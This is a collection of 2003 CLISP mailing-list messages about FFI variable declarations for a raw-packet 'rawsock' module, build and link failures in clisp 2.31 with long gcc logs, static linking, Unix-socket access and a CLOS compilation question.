
Oh, I'm so sorry. But look at this and ask yourself:
Are you a Linux-Man doing some Lisp
or
are you a Lisp-Man doing some Linux?
(This is the main reason, i use lisp with windows.)


> (DEFPACKAGE "RAWSOCK" (:use "LISP" "FFI"))
> (IN-PACKAGE "RAWSOCK")

> (setf FFI:*OUTPUT-C-FUNCTIONS* t)
> (setf FFI:*OUTPUT-C-VARIABLES* t)

> ; (setq snaplen 1514)
> (def-c-var buffer (:name "buffer"...

------------------------

> LD_RUN_PATH=/usr/local/lib
> LD_LIBRARY_PATH=/usr/local/lib
> base=/usr/local/lib/clisp/base;export base
> rm -rf ${base}/rawsock
> export CLISP_LINKKIT=/usr/local/lib/clisp/linkkit/
> rm -rf call-rawsock.c call-rawsock.fas call-rawsock.lib rawsock
> /usr/local/lib/clisp/clisp-link create-module-set rawsock call-rawsock.c
> cc -O -c rawsock.c
> cd rawsock
> ln -s ../rawsock.o rawsock.o
> cp -f ../thingtofix link.sh
> cd ..
> ${base}/lisp.run -M ${base}/lispinit.mem -q -c call-rawsock.lisp

> /usr/local/lib/clisp/clisp-link add-module-set rawsock ${base}
> ${base}/rawsock ->

> call-rawsock.c: In function `module__call_rawsock__init_function_2':
> call-rawsock.c:19: `buffer' undeclared (first use in this function)
> call-rawsock.c:19: (Each undeclared identifier is reported only once

Maybe you are right, this belogs not directly inside this list. But
think about, where did this trend end? So please, keep cl as mutch as
possible autonomy. 

stefan




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Hi Guys,
I need your help again.
There seems to be a macro WITHOUT-SCHEDULING in LISP. I was looking for he
problems and whther CLISP supports it.
I found on one of the postings on comp.lang.lisp that CLISP does not have
a corresponding implementation of WITHOUT-SCHEDULING .

Is this true. Can anyone suggest a work around or can share with their
code for the work around they have already found .

Thanks in advance,
Amit




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amit phalgune writes:
> Hi Guys,
> I need your help again.
> There seems to be a macro WITHOUT-SCHEDULING in LISP.=20

What LISP?  clisp implements _the_ Common-Lisp.

There are 978 symbols in the COMMON-LISP package.
What's not in the list IS NOT Common-Lisp:
http://www.lisp.org/HyperSpec/FrontMatter/Symbol-Index-Alphabetical.html


I  too note  that some  programs use  some  without-scheduling symbol,
taken from the MP package, whatever it may be, and it's even a PRIVATE
symbol since they have to use two ':': (mp::without-scheduling ...).

And they dare call  their programs Common-Lisp programs!  Well, that's
not my idea of a portable  Common-Lisp program.  (Yes, I don't want to
consider non-portable programs).


> I was looking for he problems and whther CLISP supports it.
> I found on one of the postings on comp.lang.lisp that CLISP does not ha=
ve
> a corresponding implementation of WITHOUT-SCHEDULING .
>=20
> Is this true. Can anyone suggest a work around or can share with their
> code for the work around they have already found .

Well, since there  is no multi-threading in clisp, we  can say that we
are always working without scheduling.  So you could define that macro
as:


(DEFPACKAGE "MP")
(DEFMACRO MP::WITHOUT-SCHEDULING (&BODY BODY) `(PROGN ,@BODY))


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>* Dan Stanger <qna.fgnatre@vrrr.bet> [2003-09-14 19:09:18 -0400]:
>
> As a start do you know how FF_to_c_float works?

try

FF_to_c_float(x,&y);
(float)(y.eksplicit);

> Also do you think using the allocate macro is proper,
> or should I be using malloc instead?

if you are creating a CLISP object which GC will collect, use
allocate().
if you will track the object yourself, use malloc/free.




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Hi,

in this thread, I believe the fact that Fred was using DEF-C-VAR got missed.

I consider it an error that the OUTPUT-C-VARIABLES has to be set in order to make DEF-C-VAR work.

(DEF-C-VAR buffer ...) needs something like
> extern uint8 (buffer)[1518];
> extern struct t1261 { sint16 SA_FAMILY; sint8 (SA_DATA)[14]; } from;
> extern char* ts;

The hint
>  Please use FFI:C-LINES to include the appropriate headers instead.
is of little help, since it's written with a mindset of expecting to link to some external libraries. It's of little use with one's own code.


However, what could be recommended to Fred is to write a header file for his rawsock "library" (actually, your code stubs). This would declare the "buffer" variable. This could be included via (FFI:C-LINES ...)

BTW, I think such a generic name - "buffer" - is a very bad choice for your variable. It'll get global scope in the object files and may interfere with other places.

Fred, actually, what do you need it for?


>Is there some example of a working program in the
>FFI interface and all of the compilation process that works so I can use
>it to make mine work? The ones on the web site - carried out step by step
>- fail. 
Uh oh. Does anybody have time to work on this? I always find it very sad when something which has worked for years suddenly breaks.

Maybe OUTPUT-C-VARIABLES should default to T, while OUTPUT-C-FUNCTIONS could be NIL. Maybe this would lead to even more chaos?

Regards,
	Jorg Hohle.


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Per the message sent by Hoehle, Joerg-Cyril:

> Hi,
...
> However, what could be recommended to Fred is to write a header file
> for his rawsock "library" (actually, your code stubs).  This would
> declare the "buffer" variable.  This could be included via (FFI:C-LINES
> ...)

It' such a little code snippet I figured it wasn't worth two files.

> BTW, I think such a generic name - "buffer" - is a very bad choice for
> your variable.  It'll get global scope in the object files and may
> interfere with other places. 

It is within the package RAWSOCK - so unless someone else modifies
RAWSOCK to use the same variable we should be safe.  Actually, in the
new version I run into a conflict with the FFI macro offset - which
hurts quite a bit.  In the end I am having such problems with getting
the new LISP to work properly that I have reverted for now to 2.27
which has none of the same problems.

If I could get 3.1 to compile with static libraries (and then run of
course) I would still use it, but because all of this has to run on a
180Meg CD-ROM with a lot of other stuff, adding or worse yet upgrading
libraries is problematic.  I only do it when I have to and can get away
with it.  After 20 or so tries I just gave up for a while.  I will
eventually get back to it.

The reason for the upgrade in the first place it so I can then work on
getting the file size limit up to 4 Tbytes instead of 2.1Gbytes - which
seems to me to be an important step to using clisp for more industrial
strength applications. 

> Fred, actually, what do you need it for?

rawsock is used to allow lisp to examine and emit arbitrary packets over
interfaces.  It is a key part of a whole line of products - like my
logging server, Responder, the soft diode, D-Wall, and Network
Intelligence ToolKit.  They all provide user programmable interfaces to
networks with a router-like language interface in which you can
reprogram the router functions by adding lisp to different places in the
main control loop (fetch packet, examine packet, determine if this rule
applies, if so store, modify, or whatever you want to the packet, and
send the new packet out an interface.  The Responder manual is online
if you want more details: http://all.net/ - press "White Glove" then
"Distributions" then "Responder".

> >Is there some example of a working program in the
> >FFI interface and all of the compilation process that works so I can use
> >it to make mine work? The ones on the web site - carried out step by step
> >- fail. 

> Uh oh.  Does anybody have time to work on this? I always find it very
> sad when something which has worked for years suddenly breaks. 

The change is pretty simple.  All you need do is add a line to the lisp
side that turns on the proper variables and the current examples work. 
It's pretty hard for someone who doesn't spend all of their time doing
lisp programs to find some obscure variable in the multi-hundred page
documentation and figure out they need to use it and how without an
example.

> Maybe OUTPUT-C-VARIABLES should default to T, while OUTPUT-C-FUNCTIONS
> could be NIL.  Maybe this would lead to even more chaos?

I think that defaulting to T is a good idea - at least that would keep
it compatible with the previous version.  Actually the reversion to the
old version necessitated removing the settings...

On a final note - since I am complaining about stuff, it would sure be
nice if the online manual had a comprehensive set of examples of the use
of each function rather than the minimal examples it has - and if when
pushing a button to drill down into an argument it gave you the syntax
and set of possibilities for that argument rather than taking you to a
dictionary definition of what the term means from which you have several
drill-downs before you get to something useful.  Hunting through the
online manual can get to be pretty painful at times.  Maybe a 'search'
feature would solve it all - you get everything relevant and can look at
one after the other instead of going down wrong line after wrong line. 

FC

> Regards,
> 	Jorg Hohle.
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Hi,
	I've got a local socket server in C and I'm trying to get my clisp to 
connect to it but as it's a local socket it doesn't seem to have a port 
number so I can't use (socket:socket-connect).
	I have also tried to open the socket file as a file with:

(with-open-file (sock (merge-pathnames (user-home-pathname) "test"))
	:direction :output
	:element-type 'character)
	(loop for i from - to 100
		do (write-char #\A)))

but I get "UNIX error 6 (ENXIO): no such device or address" presumably 
because the socket is not a "proper" file.
The socket file is called test and in the expected place.

Can anyone tell me the correct approach?

The C code for the server is from 
http://www.advancedlinuxprogramming.com/listings/chapter-5/socket-server.c 
and all it does it listen, echo and quit on command.

Thanks
Charlie



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Date: Mon Sep 15 12:09:05 2003
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This is on an old linux, but I do have 2.27 running on it.
I seem not to have done the build on this machine for 2.27.
The reason I'm trying to build .31 here is that the rpm failed
dependencies (lots of 'em).  Here's the transcript from where
the warnings seem to grow thick.
  
...
  make[1]: Leaving directory `/d/clisp/clisp-2.31/src/libcharset'
  gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
  -fomit-frame-pointer -O2 -fexpensive-optimizations -DUNICODE
  -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c spvw.c
  In file included from unix.d:35,
		   from lispbibl.d:1772,
		   from spvw.d:22:
  /usr/include/string.h:38: warning: conflicting types for built-in
  function `memcpy'
  /usr/include/string.h:60: warning: conflicting types for built-in
  function `memcmp'
  /usr/include/string.h:67: warning: conflicting types for built-in
  function `strcpy'
  /usr/include/string.h:77: warning: conflicting types for built-in
  function `strcmp'
  In file included from spvw.d:22:
  lispbibl.d:7506: warning: register used for two global register
  variables
  spvw.d: In function `main':
  spvw.d:1719: warning: variable `argv_memneed' might be clobbered by
  `longjmp' or `vfork'
  ./comment5 spvwtabf.d | ./ansidecl | ./varbrace > spvwtabf.c
  gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
  -fomit-frame-pointer -O2 -fexpensive-optimizations -DUNICODE
  -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c spvwtabf.c
  In file included from unix.d:35,
		   from lispbibl.d:1772,
		   from spvwtabf.d:5:
  /usr/include/string.h:38: warning: conflicting types for built-in
  function `memcpy'
  /usr/include/string.h:60: warning: conflicting types for built-in
  function `memcmp'
  /usr/include/string.h:67: warning: conflicting types for built-in
  function `strcpy'
  /usr/include/string.h:77: warning: conflicting types for built-in
  function `strcmp'
  In file included from spvwtabf.d:5:
  lispbibl.d:7506: warning: register used for two global register
  variables
  ./comment5 spvwtabs.d | ./ansidecl | ./varbrace > spvwtabs.c
  gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
  -fomit-frame-pointer -O2 -fexpensive-optimizations -DUNICODE
  -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c spvwtabs.c
  In file included from unix.d:35,
		   from lispbibl.d:1772,
		   from spvwtabs.d:7:
  /usr/include/string.h:38: warning: conflicting types for built-in
  function `memcpy'
  /usr/include/string.h:60: warning: conflicting types for built-in
  function `memcmp'
  /usr/include/string.h:67: warning: conflicting types for built-in
  function `strcpy'
  /usr/include/string.h:77: warning: conflicting types for built-in
  function `strcmp'
  In file included from spvwtabs.d:7:
  lispbibl.d:7506: warning: register used for two global register
  variables
  ./comment5 spvwtabo.d | ./ansidecl | ./varbrace > spvwtabo.c
  gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
  -fomit-frame-pointer -O2 -fexpensive-optimizations -DUNICODE
  -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c spvwtabo.c
  In file included from unix.d:35,
		   from lispbibl.d:1772,
		   from spvwtabo.d:5:
  /usr/include/string.h:38: warning: conflicting types for built-in
  function `memcpy'
  /usr/include/string.h:60: warning: conflicting types for built-in
  function `memcmp'
  /usr/include/string.h:67: warning: conflicting types for built-in
  function `strcpy'
  /usr/include/string.h:77: warning: conflicting types for built-in
  function `strcmp'
  In file included from spvwtabo.d:5:
  lispbibl.d:7506: warning: register used for two global register
  variables
  ./comment5 eval.d | ./ansidecl | ./varbrace > eval.c
  ./comment5 bytecode.d | ./ansidecl | ./varbrace > bytecode.c
  gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
  -fomit-frame-pointer -O2 -fexpensive-optimizations -DUNICODE
  -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c eval.c
  In file included from unix.d:35,
		   from lispbibl.d:1772,
		   from eval.d:7:
  /usr/include/string.h:38: warning: conflicting types for built-in
  function `memcpy'
  /usr/include/string.h:60: warning: conflicting types for built-in
  function `memcmp'
  /usr/include/string.h:67: warning: conflicting types for built-in
  function `strcpy'
  /usr/include/string.h:77: warning: conflicting types for built-in
  function `strcmp'
  In file included from eval.d:7:
  lispbibl.d:7506: warning: register used for two global register
  variables
  eval.d: In function `unwind':
  eval.d:367: warning: comparison between signed and unsigned
  eval.d:375: warning: comparison between signed and unsigned
  eval.d:410: warning: comparison between signed and unsigned
  eval.d: In function `reset':
  eval.d:518: warning: comparison between signed and unsigned
  eval.d: In function `throw_to':
  eval.d:609: warning: comparison between signed and unsigned
  eval.d: In function `invoke_handlers':
  eval.d:643: warning: comparison between signed and unsigned
  eval.d:631: warning: variable `other_ranges' might be clobbered by
  `longjmp' or `vfork'
  eval.d:634: warning: variable `FRAME' might be clobbered by `longjmp'
  or `vfork'
  eval.d:646: warning: variable `i' might be clobbered by `longjmp' or
  `vfork'
  eval.d: In function `funcall_iclosure':
  eval.d:2307: warning: argument `closure' might be clobbered by
  `longjmp' or `vfork'
  eval.d:2307: warning: argument `args_pointer' might be clobbered by
  `longjmp' or `vfork'
  eval.d:2308: warning: argument `argcount' might be clobbered by
  `longjmp' or `vfork'
  eval.d: In function `eval':
  eval.d:2796: warning: argument `form' might be clobbered by `longjmp'
  or `vfork'
  eval.d: In function `eval_no_hooks':
  eval.d:2853: warning: argument `form' might be clobbered by `longjmp'
  or `vfork'
  eval.d: In function `interpret_bytecode_':
  eval.d:7302: warning: comparison between signed and unsigned
  eval.d:5794: warning: variable `byteptr' might be clobbered by
  `longjmp' or `vfork'
  eval.d:5803: warning: variable `closureptr' might be clobbered by
  `longjmp' or `vfork'
  eval.d:5783: warning: argument `closure' might be clobbered by
  `longjmp' or `vfork'
  eval.d:5784: warning: argument `codeptr' might be clobbered by
  `longjmp' or `vfork'
  ./comment5 control.d | ./ansidecl | ./varbrace > control.c
  gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
  -fomit-frame-pointer -O2 -fexpensive-optimizations -DUNICODE
  -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c control.c
  In file included from unix.d:35,
		   from lispbibl.d:1772,
		   from control.d:8:
  /usr/include/string.h:38: warning: conflicting types for built-in
  function `memcpy'
  /usr/include/string.h:60: warning: conflicting types for built-in
  function `memcmp'
  /usr/include/string.h:67: warning: conflicting types for built-in
  function `strcpy'
  /usr/include/string.h:77: warning: conflicting types for built-in
  function `strcmp'
  In file included from control.d:8:
  lispbibl.d:7506: warning: register used for two global register
  variables
  control.d: In function `C_tagbody':
  control.d:1547: warning: variable `body' might be clobbered by
  `longjmp' or `vfork'
  ./comment5 encoding.d | ./ansidecl | ./varbrace > encoding.c
  gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
  -fomit-frame-pointer -O2 -fexpensive-optimizations -DUNICODE
  -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c encoding.c
  In file included from unix.d:35,
		   from lispbibl.d:1772,
		   from encoding.d:7:
  /usr/include/string.h:38: warning: conflicting types for built-in
  function `memcpy'
  /usr/include/string.h:60: warning: conflicting types for built-in
  function `memcmp'
  /usr/include/string.h:67: warning: conflicting types for built-in
  function `strcpy'
  /usr/include/string.h:77: warning: conflicting types for built-in
  function `strcmp'
  In file included from encoding.d:7:
  lispbibl.d:7506: warning: register used for two global register
  variables
  encoding.d: In function `uni16be_mbstowcs':
  encoding.d:134: warning: comparison between signed and unsigned
  encoding.d: In function `uni16le_mbstowcs':
  encoding.d:162: warning: comparison between signed and unsigned
  encoding.d: In function `uni32be_wcstombs':
  encoding.d:459: warning: comparison between signed and unsigned
  encoding.d: In function `uni32le_wcstombs':
  encoding.d:479: warning: comparison between signed and unsigned
  encoding.d: In function `nls_mbstowcs':
  encoding.d:1409: warning: comparison between signed and unsigned
  encoding.d: In function `nls_asciiext_mbstowcs':
  encoding.d:1464: warning: comparison between signed and unsigned
  encoding.d: In function `nls_range':
  encoding.d:1658: warning: `i1' might be used uninitialized in this
  function
  encoding.d:1659: warning: `i2' might be used uninitialized in this
  function
  ./comment5 pathname.d | ./ansidecl | ./varbrace > pathname.c
  gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
  -fomit-frame-pointer -O2 -fexpensive-optimizations -DUNICODE
  -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c pathname.c
  In file included from unix.d:35,
		   from lispbibl.d:1772,
		   from pathname.d:9:
  /usr/include/string.h:38: warning: conflicting types for built-in
  function `memcpy'
  /usr/include/string.h:60: warning: conflicting types for built-in
  function `memcmp'
  /usr/include/string.h:67: warning: conflicting types for built-in
  function `strcpy'
  /usr/include/string.h:77: warning: conflicting types for built-in
  function `strcmp'
  In file included from pathname.d:9:
  lispbibl.d:7506: warning: register used for two global register
  variables
  pathname.d: In function `parse_logical_word':
  pathname.d:1529: warning: `ch' might be used uninitialized in this
  function
  pathname.d: In function `C_launch':
  pathname.d:10862: warning: variable `exit_code' might be clobbered by
  `longjmp' or `vfork'
  ./comment5 stream.d | ./ansidecl | ./varbrace > stream.c
  gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
  -fomit-frame-pointer -O2 -fexpensive-optimizations -DUNICODE
  -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c stream.c
  In file included from unix.d:35,
		   from lispbibl.d:1772,
		   from stream.d:8:
  /usr/include/string.h:38: warning: conflicting types for built-in
  function `memcpy'
  /usr/include/string.h:60: warning: conflicting types for built-in
  function `memcmp'
  /usr/include/string.h:67: warning: conflicting types for built-in
  function `strcpy'
  /usr/include/string.h:77: warning: conflicting types for built-in
  function `strcmp'
  In file included from stream.d:8:
  lispbibl.d:7506: warning: register used for two global register
  variables
  stream.d: In function `bitbuff_ixu_sub':
  stream.d:4277: warning: comparison between signed and unsigned
  stream.d:4288: warning: comparison between signed and unsigned
  stream.d: In function `bitbuff_ixs_sub':
  stream.d:4357: warning: comparison between signed and unsigned
  stream.d:4371: warning: comparison between signed and unsigned
  stream.d: In function `low_flush_buffered_handle':
  stream.d:6006: warning: comparison between signed and unsigned
  stream.d: In function `buffered_nextbyte':
  stream.d:6068: warning: comparison between signed and unsigned
  stream.d:6086: warning: comparison between signed and unsigned
  stream.d: In function `redisplay':
  stream.d:11785: warning: comparison between signed and unsigned
  stream.d: In function `clear_screen':
  stream.d:11968: warning: comparison between signed and unsigned
  stream.d: In function `insert_line':
  stream.d:12236: warning: comparison between signed and unsigned
  stream.d: In function `delete_line':
  stream.d:12320: warning: comparison between signed and unsigned
  stream.d: In function `C_set_window_cursor_position':
  stream.d:12860: warning: comparison between signed and unsigned
  stream.d:12860: warning: comparison between signed and unsigned
  stream.d: In function `low_flush_buffered_pipe':
  stream.d:13429: warning: comparison between signed and unsigned
  stream.d: In function `C_socket_options':
  stream.d:15248: `SO_RCVLOWAT' undeclared (first use this function)
  stream.d:15248: (Each undeclared identifier is reported only once
  stream.d:15248: for each function it appears in.)
  stream.d:15250: `SO_SNDLOWAT' undeclared (first use this function)
  stream.d:15252: `SO_RCVTIMEO' undeclared (first use this function)
  stream.d:15254: `SO_SNDTIMEO' undeclared (first use this function)
  stream.d: In function `C_socket_stream_shutdown':
  stream.d:15358: `SHUT_RD' undeclared (first use this function)
  stream.d:15369: `SHUT_WR' undeclared (first use this function)
  make: *** [stream.o] Error 1



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Hi,

>I am trying to do a staticly linked version of clisp. Has 
>anyone ever tried this?
>If so, is there any kind of hint out there?

I haven't, but in the past I very much prefered to statically link only some of the libraries, and especially link dynamically against libc and other "OS-level" libraries.

Statically linking Motif libraries has saved my applications a few times. There were lots of slightly incompatible Motifs out there.

Statically linking libc or libucb or some such on Sun has killed my applications on various machines with other OS or configurations (e.g. libresolv, e.g. no more DNS name resolution).

Statically linking application-level libraries (let's say, libreadline, although I never used that) also helped with distributing the application reliably.

But that all happened a couple of years ago.
Back then, the gcc linker had trouble with such mixed linking styles, and I used's Sun's linker. That's really old.

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	Jorg Hohle.


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Hi,

>> BTW, I think such a generic name - "buffer" - is a very bad 
>choice for
>> your variable.  It'll get global scope in the object files and may
>> interfere with other places. 

>It is within the package RAWSOCK - so unless someone else modifies
>RAWSOCK to use the same variable we should be safe.

I didn't mean the Lisp variable. I meant the C one. It gets global scope across all objects. You wrote:
>; (setq snaplen 1514)
>(def-c-var buffer (:name "buffer"...

which leads (or lead, until recent past) to
>extern uint8 (buffer)[1518];
extern/global, not static.

Maybe you could use
(def-c-var buffer (:name "packet_analyser_snapshot_buffer")
or whatever?

>> Fred, actually, what do you need it for?
I meant the C variable buffer that you want to access from Lisp.
Could you use dynamically allocated memory instead?
Could you use :out FFI parameter modes instead, which can supply arrays?

Especially for your recvfr() and sendt(), this could make a difference, otherwise all such function stomp on the same single buffer. But that's maybe what you want (maintain performance by not copying twice each packet, which reminds me of a paper written by the guys who reimplemented TCP/IP in SML).


BTW, 16 or 20 bytes timestamp?
>char timestamp[20],
>(def-c-var timestamp (:name "timestamp") (:type (c-array uchar 16)) (:read-only t) (:alloc :none))


So to summarize, I believe (without trying) that the following is necessary to get rawsock to work with clisp-2.31
o provide some rawsock.h which declares the variables and functions
o (FFI:C-LINES "#<include it")
That's compatible with older versions of CLISP.
o get rid of offset macro problem (foreign.d uses offset as a local variable name, so it apparently isn't a macro in the core code?!).
o more?


>getting the file size limit up to 4 Tbytes instead of 2.1Gbytes - which
I have now seen a system with a 2,7GB sized logfile!
I was real happy that "less" worked correctly with it.

Sadly, Emacs doesn't work with huge logfiles, and I miss it's incremental search and built-in grepping facilities.

>It' such a little code snippet I figured it wasn't worth two files.
You're not mainstream :-) I'm joking, and I find it sad that the automated linkkit module mechanism seems to oblige one to provide a one-line '(MAKE-PACKAGE "e.g. LDAP")' file (witness modules/dirkey/preload.lisp), which will result in the build of an intermediate 1MB image file, all of which is wasted space IMHO. But I repeat myself here.
I also find the statement "HD space is cheap these days" false and blinding. Please provide cheap HD space to every computer owner world wide (don't forget China, India etc.). I'm sure you bank will want to talk to you.

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Per the message sent by Hoehle, Joerg-Cyril:

> Hi,

> >> BTW, I think such a generic name - "buffer" - is a very bad choice for
> >> your variable.  It'll get global scope in the object files and may
> >> interfere with other places. 

> >It is within the package RAWSOCK - so unless someone else modifies
> >RAWSOCK to use the same variable we should be safe.

> I didn't mean the Lisp variable.  I meant the C one.  It gets global
> scope across all objects.  You wrote:

> >; (setq snaplen 1514)
> >(def-c-var buffer (:name "buffer"...

> which leads (or lead, until recent past) to
> >extern uint8 (buffer)[1518];
> extern/global, not static.

Ah!!! Very bad...  I should probably use rawsock- before all C variables
then.

> Maybe you could use
> (def-c-var buffer (:name "packet_analyser_snapshot_buffer")
> or whatever?

Is there a convention here for doing it this way? If not let's make one. 
Which brings me to the offset macro somewhere within FFI (I believe) in
the new clisp which causes by offset function within rawsock (declared
in a lisp thing somewhere) to go awry. 

> >> Fred, actually, what do you need it for?
> I meant the C variable buffer that you want to access from Lisp.
> Could you use dynamically allocated memory instead?
> Could you use :out FFI parameter modes instead, which can supply arrays?

> Especially for your recvfr() and sendt(), this could make a
> difference, otherwise all such function stomp on the same single buffer. 
> But that's maybe what you want (maintain performance by not copying
> twice each packet, which reminds me of a paper written by the guys who
> reimplemented TCP/IP in SML). 

I want the poerformance - a lot of the things the responder application
does include replacing a few bytes here and there and sending the packet
back out.

> BTW, 16 or 20 bytes timestamp?
> >char timestamp[20],
> >(def-c-var timestamp (:name "timestamp") (:type (c-array uchar 16)) (:read-only t) (:alloc :none))

An old habit of mine.  I allocate more space than I need to prevent
stupid overruns caused by off-by-one errors from hurting me.  I will
see if this can be safely fixed.

> So to summarize, I believe (without trying) that the following is
> necessary to get rawsock to work with clisp-2.31

> o provide some rawsock.h which declares the variables and functions

This seems reasonable enough.

> o (FFI:C-LINES "#<include it")
> That's compatible with older versions of CLISP.

This seems reasonable enough.

> o get rid of offset macro problem (foreign.d uses offset as a local
> variable name, so it apparently isn't a macro in the core code?!). 

So shouldn't foreign.d also use a name like foreign-offset?  I will
change mine as well, but...

> o more?

> >getting the file size limit up to 4 Tbytes instead of 2.1Gbytes - which
> I have now seen a system with a 2,7GB sized logfile!
> I was real happy that "less" worked correctly with it.

This is a small logfile in my experience.  And I regularly do disk
images of 120Gig disks which I would like to process with clisp.  The
reason less and some other code works is that my team at Sandia (when I
was there) did these fixes and promulgated them into the community.
It was part of making Linux more suitable to forensics work.

> Sadly, Emacs doesn't work with huge logfiles, and I miss it's
> incremental search and built-in grepping facilities. 

If this is a 4Tbyte issue with file I/O we should fix it - of course you
might need a lot of RAM and swap space... 

> >It' such a little code snippet I figured it wasn't worth two files.

> You're not mainstream :-) I'm joking, and I find it sad that the
> automated linkkit module mechanism seems to oblige one to provide a
> one-line '(MAKE-PACKAGE "e.g.  LDAP")' file (witness
> modules/dirkey/preload.lisp), which will result in the build of an
> intermediate 1MB image file, all of which is wasted space IMHO.  But I
> repeat myself here.

> I also find the statement "HD space is cheap these days" false and
> blinding.  Please provide cheap HD space to every computer owner world
> wide (don't forget China, India etc.).  I'm sure you bank will want to
> talk to you. 

I don't think I made that assertion - the cost of disk space is in its
use more than the materials. 

I will eventually upgrade rawsock per your suggestion.  But in the
meanwhile because of library issues and a lack of static compilation I
am still at 2.27. 

FC

> Regards,
> 	Jorg Hohle.

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In my eternal attempts to get clisp to compile for my special needs, I
built a system or the sole purpose of building a clisp.  It is, to a not
so close approximation, a Redhat 6.2 or so system.  I got the clisp2.31
source tar file, untarred it, and did a ./configure followed by
	cd src
	./makemake --with-dynamic-ffi > Makefile
	make config.lisp

So far no problem.  Then I did:
	make

which ultimately ended in:

gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -x none spvw.o spvwtabf.o spvwtabs.o spvwtabo.o eval.o control.o encoding.o pathname.o stream.o socket.o io.o array.o hashtabl.o list.o package.o record.o sequence.o charstrg.o debug.o error.o misc.o time.o predtype.o symbol.o lisparit.o i18n.o foreign.o unixaux.o ari80386.o modules.o libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl    -o lisp.run
stream.o: In function `rd_ch_terminal3':
stream.o(.text+0xd409): undefined reference to `rl_already_prompted'
stream.o: In function `make_terminal_stream_':
stream.o(.text+0xdab5): undefined reference to `rl_gnu_readline_p'
stream.o: In function `rl_memory_abort':
stream.o(.text+0x13693): undefined reference to `rl_gnu_readline_p'
collect2: ld returned 1 exit status
make: *** [lisp.run] Error 1

Does this mean I need a newe readline library or some such thing? Or am
I missing something much bigger.  And of course - is there a way to not
have to update my libraries and still get clisp to run reasonably well?
I don't want to lose line editing - that's real handy...

So I reverted to 2.27 and tried to do the same thing...  and I got
farther... 

gcc -O -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -x none spvw.o spvwtabf.o spvwtabs.o spvwtabo.o eval.o control.o encoding.o pathname.o stream.o socket.o io.o array.o hashtabl.o list.o package.o record.o sequence.o charstrg.o debug.o error.o misc.o time.o predtype.o symbol.o lisparit.o foreign.o unixaux.o ari80386.o modules.o libsigsegv.a libintl.a libiconv.a libreadline.a libavcall.a libcallback.a  -lncurses -ldl  -o lisp.run
sync

The compile worked! Which seems to mean that something has changed that
perhaps did not maintain compatability.  However, when the process
continued:

./lisp.run -B . -N locale -Efile UTF-8 -norc -m 750KW -x "(load \"init.lisp\") (sys::%saveinitmem) (exit)"

*** - Program stack overflow. RESETmake: *** [interpreted.mem] Segmentation fault

Ouch!

Knowing as little as I do about the intrenals of all of this I was
wondering if there are any hints about this that would ease my path to
enlightenment. 

FC
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Having given up for now on the really obsolete linux, I try to build
on another one, I think a pretty standard redhat - 2.2.16-22smp.

Everything seems to be going fine until

 (CONVERT-STRING-FROM-BYTES '#(255 254 65 0 13) (MAKE-ENCODING :CHARSET "utf-16" :INPUT-ERROR-ACTION :ERROR)) 
 UNIX error 84 (EILSEQ): Invalid multibyte or wide character
 EQL-OK: ERROR
 (IF *NO-ICONV-P* "AZ" (CONVERT-STRING-FROM-BYTES '#(255 254 65 0 13) (MAKE-ENCODING :CHARSET "utf-16" :INPUT-ERROR-ACTION #\Z))) 
 ERROR!! "
 *** - Character #\uFEFF cannot be represented in the character set CHARSET:ISO-8859-1
 Real time: 110.750336 sec.
 Run time: 104.26 sec.
 Space: 31377576 Bytes
 GC: 53, GC time: 5.63 sec.
 Bye.
 make[1]: *** [tests] Error 1
 make[1]: Leaving directory `/root/clisp/clisp-2.31/src/suite'
 make: *** [testsuite] Error 2

Any ideas?

BTW, the last thing I had typed before that was
 make check
which evidently now contains checksuite.  This suggests a change to
unix/INSTALL which now says
 8. (Optionally)
   Two more tests for CLISP. Let the compiler (now compiled!) recompile itself:

         make test

   Check whether CLISP passes the test suite:

         make testsuite




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Hello,

I have a problem with the CLOS Implementation and Compiler of clisp-2.31.
I have to files:

File: test-clos-1.lisp

(defgeneric blub (x))
 
File: test-clos-2.lisp

(defclass a () ())
  
(defun bla ()
  (let ((x (make-instance 'a)))
    (pprint "before blub")
    (blub x )
    (pprint "after blub")))

(defmethod blub ((x a))
  (pprint "blub"))


;------------- end -------------



then I do the following at the prompt:

[15]> (progn 
  (unintern 'blub)
  (compile-file "test-clos-1.lisp")
  (load "test-clos-1")
  (compile-file "test-clos-2.lisp")
  (load "test-clos-2")
  (bla))

Datei /home/averkamp/lisp/test-clos-1.lisp wird compiliert...

Wrote file /home/averkamp/lisp/test-clos-1.fas
0 Errors, 0 Warnungen
;; Datei /home/averkamp/lisp/test-clos-1.fas ...
;; Loaded file /home/averkamp/lisp/test-clos-1.fas
Datei /home/averkamp/lisp/test-clos-2.lisp wird compiliert...

Wrote file /home/averkamp/lisp/test-clos-2.fas
0 Errors, 0 Warnungen
;; Datei /home/averkamp/lisp/test-clos-2.fas ...
